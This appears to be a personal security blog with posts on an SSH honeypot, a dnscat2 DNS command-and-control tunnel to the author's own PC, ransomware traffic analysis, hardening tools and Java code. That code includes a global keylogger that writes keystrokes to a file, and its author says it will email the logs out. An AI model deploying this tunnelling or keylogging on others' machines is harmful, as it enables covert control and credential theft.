Pages

Sunday, August 5, 2018

SSH Honeypots with Cowrie

One of my favourite points about the open source movement is the ability to explore the fruits of other peoples' hard work on interesting subjects & experiment with them yourself without having done a damn thing but apt-get. One such experiment I carried out was an exploration of Michel Oosterhof's brilliant SSH honeypot program called Cowrie using a Virtual Private Server I rent. Here's a brief description of its functionality from the github page (https://github.com/micheloosterhof/cowrie).

'Cowrie is a medium interaction SSH and Telnet honeypot designed to log brute force attacks and the shell interaction performed by the attacker...


  • Fake filesystem with the ability to add/remove files. A full fake filesystem resembling a Debian 5.0 installation is included
  • Possibility of adding fake file contents so the attacker can cat files such as /etc/passwd. Only minimal file contents are included
  • Session logs stored in an UML Compatible format for easy replay with original timings
  • Cowrie saves files downloaded with wget/curl or uploaded with SFTP and scp for later inspection'



    The idea was to install & run cowrie on the VPS over a few varying periods (sometimes I left it running for several nights while I slept) in order to pick up any login attempts & to geolocate them with the use of infosniper, & compile the information based on results. It's worth mentioning three other excellent projects to extend Cowrie, which can provide geolocation as part of their frameworks :




    First things first. Cowrie has a filesystem such as one you'd expect to find in Debian. Logs such as lastlog can be viewed from /var/log. Below is a picture of my own access to cowrie (with ip obviously redacted) :






    Cowrie.log reaps some interesting information. Here we've got access from several different (very) foreign ips, some in the space of the milliseconds from the same ip & some in the space of seconds from varying ips, suggesting automated login attempts :


































    Cowrie can forward typical SSH requests from port 22 to port 2222. By running a netstat -t command, we can see a foreign ip actively listening on port 2222:









    Fantastically, cowrie has a modifiable file called userdb.txt, which allows you to change the
    accepted superuser & user passwords. Also here is a a succesful Putty login attempt testing the changes I made. The default honeypot server name here is seen as svr04 :





    I can't remember exactly when I gave up documenting geolocated ip addresses from China, but needless to say, an insanely large amount of login attempts directed at our delicious, yet actually rather bland & hollow honeypot seemed to originate from there :














    A rather obscure connection was attempted by -something- or -someone- in Seychelles,     which for the geographically non-inclined is a tiny island just North of Madagascar. I actually have a very good friend originally from here, & for a moment I thought I ought to give him a cold call & break the case wide open on his collusion with the Chinese to obtain my sensitive & non-existent data :





    A final point of interest is the folder 'dl', which contains files pushed to the server by the strange people(?) accessing your honeypot. One is a fairly self-explanatorily named python system test tool, which is actually hosted on a site affiliated with Anonymous. The bottom right 'network test' tool was referenced in the dl folder. Last time I checked I wasn't a scientologist so I'm not sure what I did to deserve this, but I suppose that perhaps the site hosting the tool has little care or foresight for my poor little honeypot :






    And finally, here's that 'dl' folder referencing this 'best archive'. Notice the other item with the choice name :


Sunday, July 8, 2018

DNS Tunneling & How to Backdoor Your Own Workstation

Dnscat2 is an interesting tool that can be found at  https://github.com/iagox86/dnscat2. I'll save you a bumbling description & serve you up the page's about section here :
'This tool is designed to create an encrypted command-and-control (C&C) channel over the DNS protocol, which is an effective tunnel out of almost every network....

dnscat2 comes in two parts: the client and the server.

The client is designed to be run on a compromised machine. It's written in C and has the minimum possible dependencies. It should run just about anywhere (if you find a system where it doesn't compile or run, please file a ticket, particularly if you can help me get access to said system).
When you run the client, you typically specify a domain name. All requests will be sent to the local DNS server, which are then redirected to the authoritative DNS server for that domain (which you, presumably, have control of).
If you don't have an authoritative DNS server, you can also use direct connections on UDP/53 (or whatever you choose). They'll be faster, and still look like DNS traffic to the casual viewer, but it's much more obvious in a packet log (all domains are prefixed with "dnscat.", unless you hack the source). This mode will frequently be blocked by firewalls.

The server is designed to be run on an authoritative DNS server. It's in ruby, and depends on several different gems. When you run it, much like the client, you specify which domain(s) it should listen for in addition to listening for messages sent directly to it on UDP/53. When it receives traffic for one of those domains, it attempts to establish a logical connection. If it receives other traffic, it ignores it by default, but can also forward it upstream.'


Now, back to more fumbling in the dark. So, what do I have at my disposal? Just two things, my production machine running Windows 10 & my trusty VPS (based in a different country). Naturally, I chose the VPS to run the server & my personal/work computer to run the client, which comprises the machine. Oops. Well here we go :








We create a new user for the purpose of setting up the dnscat2 server. The bundler can ask for escalated priveleges if required, but we don't want to install it as root as that will break it for all non-superusers. Once this is done, we run the server on port 5353 & we also place the client on the machine to be compromised & run that too :









Here's the cool part. So I've established a dns tunnel between my Windows 10 box & the remote server. In order to verify the connection is actually between these two nodes, dnscat2 displays a sequence of strings in each terminal which should match each other exactly. Below is a picture of the command line from the windows 10 machine running the client & the VPS running the server. As we should expect, both string sequences match :







And here we have a little list of some of the commands that can be executed on the seemingly-helplessly-compromised host from the big bad command & control server :





Shortly after establishing the first encrypted session we encounter some stability/persistence problems & lose connectivity with my compromised host. Again, the second session crashes & I gather it's probably a result of not employing the use of an authoritative dns server, which dnscat2 works better with. Yeah, probably. Regardless we trudge on & actually manage to firstly ping between server & host :







Now for something a little more sinister. I use the exec command from the command & control server
to unleash the mighty might of...

The notepad. Yes. I am going to remotely execute the notepad & write the world's worst novel onto this workstation & no-one (except me) can stop me!






At this point I think I realized it was probably a bad idea to have a client which acted as a kind of dns
backdoor into my workstation, so I packed it in & removed the client & rebuilt my VPS.

Monday, July 2, 2018

Armitage NetApi32 dll Vulnerability

Here's a recent video I capped exploring this exploitation in a host-only virtualised environment with Kali and Windows XP, and some post-exploitation modules thereafter. I didn't edit out my mistakes...I'm just humble like that :)




Sunday, June 17, 2018

Wielding the Automated Banhammer with Fail2Ban
















Found amongst the security section of Linode's site (https://www.linode.com/docs/security), I decided to test out Fail2Ban in spite of having no valuable data stored on my VPS. I started with a simple installation :
                                     


apt-get update && apt-get upgrade -y

apt-get install fail2ban

apt-get install sendmail-bin sendmail



In /etc/fail2ban the fail2ban.local file is created using the 'touch' command, to enable local logging.
The settings in this file, edited with the 'nano' command, override the entries in the program's .conf file :






The four values in the 2nd picture are explained as following on Linode's site :


  • loglevel: The level of detail that Fail2ban’s logs provide can be set to 1 (error), 2 (warn), 3 (info), or 4 (debug).
  • logtarget: Logs actions into a specific file. The default value of /var/log/fail2ban.log puts all logging into the defined file. Alternately, you can change the value to STDOUT, which will output any data; STDERR, which will output any errors; SYSLOG, which is message-based logging; and FILE, which outputs to a file.
  • socket: The location of the socket file.
  • pidfile: The location of the PID file.




    The jail.conf file enables Fail2ban for SSH. In order to override this & edit its configuration, a jail.local file can be created, as before with the Fail2Ban.local file. Below are some           configuration options edited with nano, with explanations above the console window :





Finally, in var/log/fail2ban.log, with a simple 'cat' command, we can see a number of failed login attempts from 2 different ips, which resulted in their banning for a very short (obviously extendable) period of 10 seconds, showing it's now operational :                                                                              








                                                                         
                                                            



                                                                                                                                                                                                                      




Monday, June 11, 2018

Malware Traffic Analysis - A Very Special One

Networks being my primary locus of study, I'm delving into the excellent exercises on the malware traffic analysis blog (http://www.malware-traffic-analysis.net/2017/02/11/index.html). What follows is my attempt at solving one titled, 'A Very Special One'. For this excercise, we get a packet capture file of network traffic during the incident occurrence, & an IDS alert to help us figure out what's going on. My initial speculations follow :



Multiple ip addresses are masked under the same MAC address, a cisco device, and 10.3.14.134 begins continuously sending TCP packets of byte-size 54 to these addresses. Both 10.3.14.254 and 10.3.14.1 appear to share this MAC too...10.3.14.254 is the device which begins with this MAC...it is soon adopted by 10.3.14.254 which begins acting as a DNS server for 10.3.14.135...'Simons-Mac' is 10.3.14.135...as indicated by MAC address & dns broadcast traffic (MDNS)


Http traffic shows download of application/exe by 10.3.14.134 from 104.155.4.180. This triggered an alert in the IDS. One of the ips, 91.119.56.0 has triggered an alert in the IDS. This ip seems to have stolen the MAC address of the victims' gateway. Interaction with 54.87.5.88 also triggered the IDS, with 'Cerber Blockchain Query'. Upon inspecting http traffic from 217.12.208.17, an html page was reassembled showing ransomware infection and a bitcoin address to which it was requested money be sent :

1F7siW4UN4dmSjgeRhJBxSdNbaBeoCkSBV

User at 10.3.14.131 seems to have signed up for a bitcoin service which does the following, after inspecting http traffic to 186.2.163.47 :

 1. You need to refill your deposit Bitcoin wallet to restore all data<br><br>2. You can choose different exchange markets to buy Bitcoins (see Help)<br><br>3. System will automatically fill up your balance once transaction will be executed.<br><br>4. Use calculator to understand the exact amount, which will be filled to your account. Obviously this is to pay off the ransomware...but wasn't it 10.3.14.134 that was infected? I'm guessing that 134 is the kid's computer, and 131 is the parent angrily agreeing to pay...



With some filtering & by displaying some of the traffic in html format, what I did find for sure was that, the 10.3.14.131 host appeared to be the victim of a redirection (302) which may have lead to its infection of a ransomware known as Spora :







The infection of 10.3.14.131 was evident by the reassembled page I later found asking for bitcoin payment, as it happens, this host had actually viewed a compromised website known as 'Holiner Group', which caused the redirection :





Not only was this host a victim though, as 10.3.14.134 was also at the receiving end of a ransomware, albeit
a 'Cerber' one. The following three images show firstly the downloading of a suspicious exe file believed to be the cause of infection, and a webpage subsequently viewed by the user informing them that their files have been encrypted and payment is required to rescue them :
















All in all, a lot of fun! Finally, here are some links to the malwarebytes blog detailing both the Spora & Cerber malware variants :

https://blog.malwarebytes.com/threat-analysis/2017/03/spora-ransomware/
https://blog.malwarebytes.com/threat-analysis/2016/03/cerber-ransomware-new-but-mature/








Tuesday, June 5, 2018

An HTTP Proxy with Squid


I began this project with the intention of using a linode VPS as a proxy, which has a separate public ip than my home address (obviously). However since this didn't originally function properly due to a lack of foresight regarding iptables rules on both the VPS & firewall configuration on the windows host using the proxy, I switched to having a virtual machine, kali, run the squid proxy. We'll begin with the initial configuration on my VPS, with the steps taken from Linode's instruction page (https://www.linode.com/docs/networking/squid/squid-http-proxy-ubuntu-12-04) :


After the installation, we begin with a quick backup of the original config file :




























Squid has a large config file, so we skip to the end and add two rules, adding a client with a local ip address, and then enabling http access, thereafter restarting squid for the changes to take effect :




























In order to anonymize the ip of the host using the proxy, additional rules can be added to the configuration file, under where we inputted the previous two. these are chronicled on Linode's site :
































Under the 'advanced' tab of the Pale Moon browser's options, the browser is set up to use the proxy just established. However as mentioned before we run into trouble & it fails to work :




























During a later try, I instead routed traffic through a kali VM on my local network, which was set up with squid (ip addr = 192.168.178.60). My windows machine had two new rules added to its firewall configuration & the kali VM had its iptables edited to allow outbound connections. The packet capture shows the vpn in use (traffic moving from .34 to .60 & outbound). First, the firewall rules for our windows host using the proxy :













Now, we allow outbound connections on our virtual machine running squid :





















As before, the Pale Moon browser was configured to use the new proxy. Interestingly, a look at activity on network interfaces using wireshark on the windows host showed zero activity while I was actively browsing websites :



























In order to view the traffic information, I had to run wireshark on the virtual machine running the squid proxy. In spite of some sites being met with a 403, I could access a number of other websites, with the corresponding traffic showing up in the pcap file :



Friday, June 1, 2018

Auditing the VPS Gorgonite Castle With Lynis

Since I've been busy with assignments & exam preparation, this will be just a brief post on a useful system auditing tool I've used before on a VPS I rented.

From the wikipedia :

'Lynis is an extensible security audit tool for computer systems running Linux, FreeBSD, macOS, Solaris and other Unix-derivatives. It assists system administrators and security professionals with scanning a system and its security defenses, with the final goal of something called system hardening.'


Lynis is great & can provide a wealth of information about points in a system which could pose as issues in the realm of security. Running it on my VPS gave me a comprehensive report on its configuration status. I was hesitant at first to produce this here, but upon proper consideration, my linode has since had this specific setup wiped from the drive.

Lynis begins its report with some OS information, & directories to log & report files :






































Next, lynis checks system tools, boot loaders , services & kernel information and configuration :














































































































For the following image, settings for Users & Groups  are displayed, with a 'suggestion' marker beside a few parameters. Recommendations for system hardening related to these will be displayed at the end of the audit, a great feature. Following this, lynis finds 5 valid shells on the system, and whether or not these are vulnerable to a number of CVE's :








































A wealth of other information on system vulnerabilities is subsequently provided & their inclusion here would result in a lengthy tome. The ability to export auditing results to a custom location means that information can be reviewed at a later time instead of just in-shell. Lynis is available in these two places :

https://cisofy.com/lynis/

https://github.com/CISOfy/lynis





Tuesday, February 10, 2015

Command Line Arguments in Java

The following is a brief exploration of ways in which command line arguments can be called in a java program, first by setting a 'Runtime' variable, then executing an argument (String) with this variable as a process. A useful list of arguments is also provided right at the end for those who want to experiment.


 public static void main(String[] args) throws IOException {
        
        
            try
      {
         Runtime rt = Runtime.getRuntime();
         String cmdString = "cmd /c label e:ThisDrive";
        

         Process pr = rt.exec(cmdString);
                 
       }
      catch (Exception e)
      {
         System.out.println(e.toString());
         e.printStackTrace();
      }
    }
    
}



This block of code renames whatever drive is connected to E:/ to 'ThisDrive'. The following example shows a method to obtain information about the system in use, & any processes which are currently running, in the style of Windows task manager :


 public static void main(String args[]) throws AWTException, IOException
   {
      try
      {
         Runtime rt = Runtime.getRuntime();
         String cmdString = "cmd /c hostname";
         

         System.out.println("Hostname: ");
         Process pr = rt.exec(cmdString);
       

         BufferedReader input = new BufferedReader(new InputStreamReader(
                                                   pr.getInputStream()));

         String line = null;

         while ((line = input.readLine()) != null)
         {
            System.out.println(line);
            
      
         }

        
      }
      catch (Exception e)
      {
         System.out.println(e.toString());
         e.printStackTrace();
      }
      
      try
      {
         Runtime rt = Runtime.getRuntime();
         String cmdString = "cmd /c whoami";
         

         System.out.println("\nUser: ");
         Process pr = rt.exec(cmdString);
       

         BufferedReader input = new BufferedReader(new InputStreamReader(
                                                   pr.getInputStream()));

         String line = null;

         while ((line = input.readLine()) != null)
         {
            System.out.println(line);
          
         }

        
      }
      catch (Exception e)
      {
         System.out.println(e.toString());
         e.printStackTrace();
      }
      
      
       try
      {
         Runtime rt = Runtime.getRuntime();
         String cmdString = "cmd /c date /t";
         

         System.out.println("\nSystem Date: ");
         Process pr = rt.exec(cmdString);
       

         BufferedReader input = new BufferedReader(new InputStreamReader(
                                                   pr.getInputStream()));

         String line = null;

         while ((line = input.readLine()) != null)
         {
            System.out.println(line);
          
            
         }

       
      }
      catch (Exception e)
      {
         System.out.println(e.toString());
         e.printStackTrace();
      }
       try
      {
         Runtime rt = Runtime.getRuntime();
         String cmdString = "cmd /c tasklist";
         

         System.out.println("\nCurrent Tasks: ");
         Process pr = rt.exec(cmdString);
       

         BufferedReader input = new BufferedReader(new InputStreamReader(
                                                   pr.getInputStream()));

         String line = null;

         while ((line = input.readLine()) != null)
         {
            System.out.println(line);
          
            
         }

       
      }
      catch (Exception e)
      {
         System.out.println(e.toString());
         e.printStackTrace();
      }
     

   }



The first block here runs a command line argument asking for the name of the current System & returns it. Next, the username is called for & returned, then the current date & finally a list of system processes. The output will look akin to this :


run:
Hostname: 
John

User: 
John/ Vitrus

System Date: 
10/02/2015 

Current Tasks: 

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          4 K
System                           4 Services                   0     17,096 K
smss.exe                       320 Services                   0        472 K
csrss.exe                      556 Services                   0      2,860 K
wininit.exe                    636 Services                   0      2,248 K
services.exe                   744 Services                   0      4,276 K
lsass.exe                      764 Services                   0      8,956 K
svchost.exe                    832 Services                   0      9,472 K
svchost.exe                    876 Services                   0      6,136 K
svchost.exe                    988 Services                   0     15,412 K
svchost.exe                    240 Services                   0     38,728 K
svchost.exe                    364 Services                   0     11,720 K
igfxCUIService.exe             584 Services                   0      2,140 K
svchost.exe                    660 Services                   0     76,292 K
svchost.exe                    768 Services                   0     12,072 K
spoolsv.exe                   1220 Services                   0     10,308 K
svchost.exe                   1264 Services                   0     18,152 K
dasHost.exe                   1384 Services                   0      6,568 K
HeciServer.exe                1424 Services                   0      1,028 K
Service.exe                   1508 Services                   0      1,612 K
mfevtps.exe                   1532 Services                   0      3,336 K
NitroPDFDriverService9x64     1564 Services                   0        568 K
NLSSRV32.EXE                  1596 Services                   0         60 K
RichVideo64.exe               1660 Services                   0      1,104 K
svchost.exe                   1708 Services                   0      7,256 K
McAPExe.exe                   1780 Services                   0        652 K
mcshield.exe                  1820 Services                   0    152,424 K
mfefire.exe                   1900 Services                   0      3,428 K
McSvHost.exe                  1956 Services                   0     28,020 K
svchost.exe                   2184 Services                   0      2,264 K
WUDFHost.exe                  2432 Services                   0      2,756 K
svchost.exe                   2932 Services                   0      5,232 K
CltMngSvc.exe                 2964 Services                   0      2,904 K
McCSPServiceHost.exe          2544 Services                   0      4,828 K
SearchIndexer.exe             1244 Services                   0     28,884 K
PresentationFontCache.exe     2440 Services                   0      2,140 K
GoogleCrashHandler.exe        1516 Services                   0        868 K
GoogleCrashHandler64.exe      3392 Services                   0        132 K
WmiPrvSE.exe                  5624 Services                   0     12,712 K
csrss.exe                     5748 Console                    7     35,048 K
winlogon.exe                  6024 Console                    7      4,736 K
dwm.exe                       4192 Console                    7     23,448 K
cltmng.exe                    5212 Console                    7     29,220 K
cltmngui.exe                  5980 Console                    7     10,980 K
taskhostex.exe                2312 Console                    7      9,712 K
McUICnt.exe                   5372 Console                    7     33,696 K
explorer.exe                  3196 Console                    7     68,696 K
igfxHK.exe                    5204 Console                    7      8,236 K
igfxTray.exe                  5336 Console                    7      9,484 K
igfxEM.exe                    6112 Console                    7     10,664 K
taskhost.exe                  1148 Console                    7      5,908 K
SkyDrive.exe                  3356 Console                    7     13,636 K
chrome.exe                    5420 Console                    7    142,224 K
chrome.exe                    5596 Console                    7     73,912 K
RAVCpl64.exe                  2260 Console                    7      9,508 K
chrome.exe                    5384 Console                        7     76,328 K
hotkey.exe                    2568 Console                         7      5,264 K
SettingSyncHost.exe           5704 Console                 7      3,616 K
JME_LOAD.exe                  5716 Console                    7      5,704 K
PDVD10Serv.exe                4684 Console                    7      5,524 K
CLMLSvc.exe                   1948 Console                    7      7,464 K
CCleaner64.exe                5744 Console                    7        848 K
livecomm.exe                  1892 Console                    7     13,964 K
RuntimeBroker.exe             5932 Console                    7     14,304 K
WWAHost.exe                    752 Console                    7     57,660 K
taskhostex.exe                4676 Services                   0      4,640 K
taskhost.exe                  3560 Console                    7     13,308 K
audiodg.exe                   4272 Services                   0     14,384 K
chrome.exe                    3120 Console                    7    226,728 K
chrome.exe                    4496 Console                    7    220,624 K
chrome.exe                    3620 Console                    7     94,916 K
netbeans64.exe                3292 Console                    7    565,888 K
taskeng.exe                   3640 Services                   0      4,384 K
java.exe                      4752 Console                    7     14,056 K
conhost.exe                   3936 Console                    7      3,240 K
cmd.exe                       4356 Console                    7      2,028 K
conhost.exe                   3664 Console                    7      3,228 K
tasklist.exe                  4280 Console                    7      5,372 K



Hopefully this was of some use to those wishing to understand cmd arguments in java a little better. The following link is a useful resource on such commands, though a list is also available from cmd itself by typing 'help' or 'help' + whatever command you need information on :

An A-Z Index of the Windows CMD command line

Thursday, January 29, 2015

Global KeyEvents in Java

Considering a number of ways that I could log keyboard input using java outside of an IDE, I ran into a problem. Namely, that created programs were limited as the methods tracking input from a keyboard would lose focus when a user clicks from one window into, say, their desktop or another component. Luckily, I came across a great library, known as jnativehook (https://code.google.com/p/jnativehook/) which allows for global keyEventsAn example of using the library to write keyboard input to a predefined file - encrypting its content as keyEvents occur (using jasypt) - is shown :



 public void nativeKeyReleased(NativeKeyEvent e) {

        System.out.println("Key Released: " + NativeKeyEvent.getKeyText(e.getKeyCode()));

        try {
            String keyString;
            keyString = NativeKeyEvent.getKeyText(e.getKeyCode()) + "'";

            if (!a.exists()) {
                a.createNewFile();

            }
            FileWriter fw = new FileWriter(a.getAbsoluteFile(), true);
            BufferedWriter bw = new BufferedWriter(fw);
           PassEncryptor.setPassword("jstraightup");
           String myEncryptedText = PassEncryptor.encrypt(keyString);
           bw.append(keyString);
           bw.append(keyString);
           bw.newLine();
           bw.close();
        } catch (Exception e1) {
            e1.printStackTrace();
        }
    }

    public void nativeKeyTyped(NativeKeyEvent e) {

    }

    public static void main(String[] args) throws NativeHookException, IOException, InterruptedException {
        try {
            GlobalScreen.registerNativeHook();

        } catch (NativeHookException ex) {
           
            System.err.println("There was a problem registering the native hook.");
            System.err.println(ex.getMessage());
            System.exit(1);
        }

        /* Construct the example object and initialze native hook. */
        GlobalScreen.getInstance().addNativeKeyListener(new Main());



Another useful implementation of this great library could be the creation of shortcuts specific to applications, which allow them to be minimised or maximised, or given any amount of standard program functions without having to fret about focus-loss. The above code is part of a larger project I have been working on - an implementation of a keylogging application for home desktop or laptop security, which runs in the background and routinely sends data to an email, thereafter deleting the file to which the logging data was written and beginning again. Partly inspired by the following very entertaining Defcon talk :

https://www.youtube.com/watch?v=U4oB28ksiIo

Thursday, January 22, 2015

JSoup, Internet Radio & Stock Market Data

JSoup (http://jsoup.org/) is a powerful java parsing library containing many useful methods for extracting information from sites' html code. My interest in it arose when I had to find some way of obtaining meta-data for a client's radio station & printing it to a non-editable JTextArea in a Swing layout. Here was the solution I came up with :




Document doc;
                try {
                     doc = Jsoup.connect("http://37.187.193.36:8104/index.html").userAgent("Mozilla/5.0                         (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko)                                             Chrome/15.0.874.120 Safari/535.2").get();
                     String title = doc.title();
                     Element body = doc.body();
                     Elements bTags  =  body.getElementsByTag("b");
   
      
              for(Element i : bTags){
          
                      if(i.toString().contains("-") && !i.toString().contains("Nullsoft")){
   
                         System.out.println(i.text());
                        metainfo.setText("Now Playing: " + "\n" + i.text());
                        metainfo.setWrapStyleWord(true);
          
                }
                }
                } catch (IOException ex) {
                    Logger.getLogger(EVRNMediaPlayer.class.getName()).log(Level.SEVERE, null, ex);
                }
 




I knew the exact address from which I could obtain the information, which is accessed by JSoup using the connect() method. However, it would have been impossible if it were not for userAgent(). Once the title & body of the document was obtained, it was possible to filter out the <b> tags from the body, one of which contained the information needed. These were stored in an array, and knowing that the 'current song' information was the only string in that list that contained the dash symbol - apart from a copyright notice by Nullsoft at the end - I set up the enhanced for loop. This iterated through the <b> tags & their content and converted the entry which contained a dash, and did not contain 'Nullsoft', giving me my result. The text was then set as the metainfo text on the JTextArea & voila!



A second example of the usefulness of JSoup, is seen in this code :






String[] codes = {"AAPL", "MSFT"};
      String baseUrl = "http://finance.yahoo.com/q?s=";
      String ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.33 (KHTML, like Gecko) Chrome/27.0.1438.7 Safari/537.33";

      
      
      for (String code : codes) {
      String url = baseUrl + code;
      Document doc  = Jsoup.connect(url).userAgent(ua).timeout(10*1000).get();
      String price = doc.select(".time_rtq_ticker").first().text();
      String name = doc.select(".title h2").first().text();

    System.out.println(String.format("%s [%s] is trading at %s", name, code, price));
}





Firstly, the array contains codes related to the stock market, namely for Apple & Microsoft! Creating a baseUrl and user agent follows. Similar to my other approach, this code example uses an enhanced for loop to iterate through the 'codes' array using the String 'code', and adds a company code to the baseUrl in the sequence in which they occur in the array. Then, as before Jsoup connects to the concatenated 'url' (with the additional timeout parameter being added) & filters the html, whilst creating a price and name String, which are finally formatted in a manner which displays them as readable. The output for this code is :





"Apple Inc. (AAPL) [AAPL] is trading at 109.55
Microsoft Corporation (MSFT) [MSFT] is trading at 45.92"